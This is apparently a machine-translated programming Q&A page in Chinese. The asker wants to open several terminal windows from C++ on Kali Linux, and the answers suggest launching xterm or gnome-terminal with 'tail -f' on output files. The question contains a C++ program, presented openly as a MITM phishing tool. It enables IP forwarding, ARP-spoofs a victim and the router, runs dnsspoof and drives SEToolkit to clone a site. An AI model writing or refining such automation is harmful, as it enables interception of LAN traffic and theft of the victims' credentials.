如何在C++中打开多个独立的终端窗口

  • 本文关键字:独立 终端 窗口 C++ c++ linux
  • 更新时间 :
  • 英文 :


我的问题是我的代码需要多个单独的窗口同时运行。我还必须能够在这些窗口运行时执行命令。两个连续运行的窗口正在侦听LAN流量(如果有任何相关性的话(。无论如何,我在Kali上运行,所以我不能使用ConsoleLoggerHelper文件,因为.h文件依赖于windows.h,而windows.h在Linux上不起作用。有没有其他方法可以在多个单独的窗口上创建和运行?该应用程序是使用Apache2、DNSspoof、ARPspool和SEToolkit的MITM攻击的自动化。这是我迄今为止的代码:

#include <iostream>
#include <stdio.h>

using namespace std;

int main()
{
string site;
string s_site;
string t_ip;
string u_ip;
char yorn;
string arp_t;
string arp_r;
//Remember to put in the option the change to interface type, i.e: wlan0
string arp_s;
arp_s = "arpspoof -i eth0 -t";
string set;
set = "setoolkit";
string enable_echo;
enable_echo = "echo 1 > /proc/sys/net/ipv4/ip_forward";
string s_dns;
s_dns = "dnsspoof -i eth0 -f hosts.txt";
string enable_apache;
enable_apache = "servive apache2 start";
string router_ip;
router_ip = "192.168.1.1";
cout << "This program will perform a MITM-Phishing attack. DO you want to continue? y/n: ";
cin >> yorn;
if (yorn == 'y')
{
cout << "What is the local IP address of your target?: ";
cin >> t_ip;
cout << "What is your local IP address?: ";
cin >> u_ip;
cout << "What is the EXACT URL of the website you wish to clone?: ";
cin >> site;
cout << "what do you wish the name your spoofed website to be?: ";
cin >> s_site;
system(enable_echo.c_str());
//New window
arp_t = arp_s + " " + t_ip + " " + router_ip;
system(arp_t.c_str());
//New window
arp_r = arp_s + " " + router_ip + " " + t_ip;
system(arp_r.c_str());
//New window
system(enable_apache.c_str());
//New window
system(set.c_str());
system("1");
system("2");
system("3");
system("2");
system(u_ip.c_str());
system(site.c_str());
//New window
system(s_dns.c_str());
return 0;
}
else
{
cout << "Aborting program..." << endl;
return 0;
}

}

您正试图用一种非常困难的方法来解决一个经典的小问题。你有几种方法来解决它:

  1. 使用GUI并创建几个窗口,而不是控制台应用程序。所有主要的库,如Qt和GTK都支持这一点
  2. 写入几个文件句柄并启动几个xterm(或gnome终端,或系统中存在的任何其他终端(实例,并在这些终端上对这些输出执行cat、tail或更少的操作
  3. 有多个网关,比如监听TCP端口,并有多个连接到这些网关的文本模式客户端。您还可以telnet到TCP服务器,这很容易实现。CORBA和共享内存也很好,事实上所有的IPC机制也可以在类似的情况下使用,但大多数IPC机制似乎太多了,无法满足您的需求(您只想显示一些日志(

第二个或多或少是最高效、最容易实现的。要了解更多信息,您需要告诉我们您正在做什么以及您的工具链是什么。但在所有这些解决方案中(除了第一个(,都有多个过程。如果我正确理解了你的问题,那么你的目标是单一流程的解决方案,我认为这是解决你问题的一种非常困难的方法。


好吧,你正在使用cpp,我建议为你的不同输出打开几个fstream,比如

FILE* f = fopen("/path/to/one/file", "w+");
std::fstream myStream(f);
myStream << "Hello Worldn";

然后使用输出这些文件的shell命令启动xterm的几个进程,如:

tail -f /path/to/one/file

它会变成:

system("gnome-terminal -x sh -c 'tail -f /path/to/one/file'");

system("xterm -e 'sh -c "tail -f /path/to/one/file"'");

甚至

system("xterm -e 'tail -f /path/to/one/file'");

对每个输出执行一次,就完成了。只需继续写入这些fstream,它们就会分别显示在其中一个控制台中。

最新更新